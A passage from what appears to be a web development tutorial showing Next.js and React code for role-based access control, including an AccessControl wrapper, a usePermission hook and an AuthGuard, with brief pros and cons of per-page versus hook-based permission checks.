&lt;p&gt;&lt;code&gt;&amp;lt;root&amp;gt;/pages/manage-users/index.tsx&lt;/code&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="nx"&gt;React&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;react&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="nx"&gt;Head&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;next/head&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="nx"&gt;Layout&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;components/Layout&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;permissions&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;configs/policies&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="nx"&gt;AccessControl&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;components/AccessControl&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;

&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;App&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="nx"&gt;allowedPermissions&lt;/span&gt; &lt;span class="p"&gt;})&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;return &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="o"&gt;&amp;lt;&amp;gt;&lt;/span&gt;
      &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;Head&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
        &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;title&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="nx"&gt;CMS&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="nx"&gt;Manage&lt;/span&gt; &lt;span class="nx"&gt;Users&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="sr"&gt;/title&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;
&lt;/span&gt;      &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="sr"&gt;/Head&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;
&lt;/span&gt;
      &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;Layout&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
        &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;AccessControl&lt;/span&gt;
          &lt;span class="nx"&gt;allowedPermissions&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="nx"&gt;allowedPermissions&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;*&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="nx"&gt;allowedPermissions&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;read&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
          &lt;span class="p"&gt;}&lt;/span&gt;
          &lt;span class="nx"&gt;renderNoAccess&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;{()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;div&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="nx"&gt;No&lt;/span&gt; &lt;span class="nx"&gt;access&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="sr"&gt;/div&amp;gt;&lt;/span&gt;&lt;span class="err"&gt;}
&lt;/span&gt;        &lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
          &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;div&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
            &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;div&lt;/span&gt; &lt;span class="nx"&gt;id&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;title&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="nx"&gt;Manage&lt;/span&gt; &lt;span class="nx"&gt;Users&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="sr"&gt;/div&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;
&lt;/span&gt;            &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;AccessControl&lt;/span&gt;
              &lt;span class="nx"&gt;allowedPermissions&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;allowedPermissions&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;create&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;]}&lt;/span&gt;
              &lt;span class="nx"&gt;renderNoAccess&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;{()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
            &lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
              &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;div&lt;/span&gt; &lt;span class="nx"&gt;id&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;write&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="nx"&gt;Write&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="sr"&gt;/div&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;
&lt;/span&gt;            &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="sr"&gt;/AccessControl&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;
&lt;/span&gt;            &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;AccessControl&lt;/span&gt;
              &lt;span class="nx"&gt;allowedPermissions&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;allowedPermissions&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;delete&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;]}&lt;/span&gt;
              &lt;span class="nx"&gt;renderNoAccess&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;{()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
            &lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
              &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;div&lt;/span&gt; &lt;span class="nx"&gt;id&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;write&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="nx"&gt;Delete&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="sr"&gt;/div&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;
&lt;/span&gt;            &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="sr"&gt;/AccessControl&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;
&lt;/span&gt;          &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="sr"&gt;/div&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;
&lt;/span&gt;        &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="sr"&gt;/AccessControl&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;
&lt;/span&gt;      &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="sr"&gt;/Layout&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;
&lt;/span&gt;    &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="sr"&gt;/&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;
&lt;/span&gt;  &lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;PAGE_NAME&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;MANAGE_USERS&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;

&lt;span class="nx"&gt;App&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;auth&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;PAGE_NAME&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="nx"&gt;permissions&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="nx"&gt;App&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;getInitialProps&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;allowedPermissions&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;permissions&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;PAGE_NAME&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="k"&gt;default&lt;/span&gt; &lt;span class="nx"&gt;App&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;&amp;lt;root&amp;gt;/utils/hooks/usePermission.ts&lt;/code&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;useCallback&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;react&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;useUserStore&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;stores/user&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;

&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;usePermission&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;user&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;useUserStore&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="nx"&gt;state&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;({&lt;/span&gt;
    &lt;span class="na"&gt;user&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;state&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="p"&gt;}))&lt;/span&gt;

  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;checkPermissions&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;useCallback&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;permissions&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;permissions&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;length&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;
      &lt;span class="p"&gt;}&lt;/span&gt;

      &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;permissions&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="p"&gt;?.&lt;/span&gt;&lt;span class="nx"&gt;roles&lt;/span&gt;&lt;span class="p"&gt;?.&lt;/span&gt;&lt;span class="nf"&gt;some&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="nx"&gt;permission&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;
          &lt;span class="nx"&gt;permissions&lt;/span&gt;&lt;span class="p"&gt;?.&lt;/span&gt;&lt;span class="nf"&gt;includes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;permission&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="p"&gt;)&lt;/span&gt;
      &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="p"&gt;},&lt;/span&gt;
    &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
  &lt;span class="p"&gt;)&lt;/span&gt;

  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nx"&gt;checkPermissions&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  Pros
&lt;/h4&gt;

&lt;ul&gt;
&lt;li&gt;Can check per page &amp;amp; per action&lt;/li&gt;
&lt;/ul&gt;

&lt;h4&gt;
  
  
  Cons
&lt;/h4&gt;

&lt;ul&gt;
&lt;li&gt;Need to define in each page&lt;/li&gt;
&lt;/ul&gt;




&lt;h3&gt;
  
  
  Using Hooks
&lt;/h3&gt;

&lt;p&gt;Custom hooks like &lt;code&gt;usePermission()&lt;/code&gt; allow components to check user permissions dynamically and render views accordingly.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;&amp;lt;root&amp;gt;/utils/hooks/useAuth.tsx&lt;/code&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;usePermission&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;utils/hooks/usePermission&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;

&lt;span class="p"&gt;...&lt;/span&gt;

&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;AuthGuard&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;props&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;router&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;useRouter&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;children&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;permissions&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;props&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;hasNextAuthSession&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;hasUser&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;useAuthGuard&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;checkPermissions&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;usePermission&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;defaultPermissions&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
    &lt;span class="p"&gt;...&lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;Set&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;
      &lt;span class="p"&gt;...(&lt;/span&gt;&lt;span class="nx"&gt;permissions&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;name&lt;/span&gt;&lt;span class="p"&gt;]?.[&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;*&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;??&lt;/span&gt; &lt;span class="p"&gt;[]),&lt;/span&gt;
      &lt;span class="p"&gt;...(&lt;/span&gt;&lt;span class="nx"&gt;permissions&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;name&lt;/span&gt;&lt;span class="p"&gt;]?.[&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;read&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;??&lt;/span&gt; &lt;span class="p"&gt;[]),&lt;/span&gt;
    &lt;span class="p"&gt;]),&lt;/span&gt;
  &lt;span class="p"&gt;]&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;permitted&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;checkPermissions&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;defaultPermissions&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

  &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;hasNextAuthSession&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nx"&gt;hasUser&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;permitted&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;children&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="nx"&gt;router&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;push&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;/permission-denied&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;

  &lt;span class="k"&gt;return &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="o"&gt;&amp;lt;&amp;gt;&lt;/span&gt;
      &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;LoadingState&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="nx"&gt;Memuat&lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="sr"&gt;/LoadingState&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;
&lt;/span&gt;    &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="sr"&gt;/&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;
&lt;/span&gt;  &lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  Pros
&lt;/h4&gt;

&lt;ul&gt;
&lt;li&gt;No need to define per page&lt;/li&gt;
&lt;/ul&gt;

&lt;h4&gt;
  
  
  Cons
&lt;/h4&gt;

&lt;ul&gt;
&lt;li&gt;Can only check per page, not per action&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  Example: AccessControl Component
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight jsx"&gt;&lt;code&gt;&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;useRouter&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;next/router&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="nx"&gt;type&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;ReactElement&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;react&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="nx"&gt;React&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;react&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;

&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;usePermission&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;utils/hooks/usePermission&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;

&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="nx"&gt;type&lt;/span&gt; &lt;span class="nx"&gt;AccessControlProps&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;actions&lt;/span&gt;&lt;span class="p"&gt;?:&lt;/span&gt; &lt;span class="nx"&gt;string&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt;
  &lt;span class="nx"&gt;allowedPermissions&lt;/span&gt;&lt;span class="p"&gt;?:&lt;/span&gt; &lt;span class="nx"&gt;string&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt;
  &lt;span class="na"&gt;children&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;ReactElement&lt;/span&gt;
  &lt;span class="nx"&gt;noAccessMessage&lt;/span&gt;&lt;span class="p"&gt;?:&lt;/span&gt; &lt;span class="nx"&gt;string&lt;/span&gt;
  &lt;span class="nx"&gt;redirectUrl&lt;/span&gt;&lt;span class="p"&gt;?:&lt;/span&gt; &lt;span class="nx"&gt;string&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;AccessControl&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;({&lt;/span&gt;
  &lt;span class="nx"&gt;actions&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="nx"&gt;allowedPermissions&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="nx"&gt;children&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="nx"&gt;noAccessMessage&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="nx"&gt;redirectUrl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="p"&gt;}:&lt;/span&gt; &lt;span class="nx"&gt;AccessControlProps&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
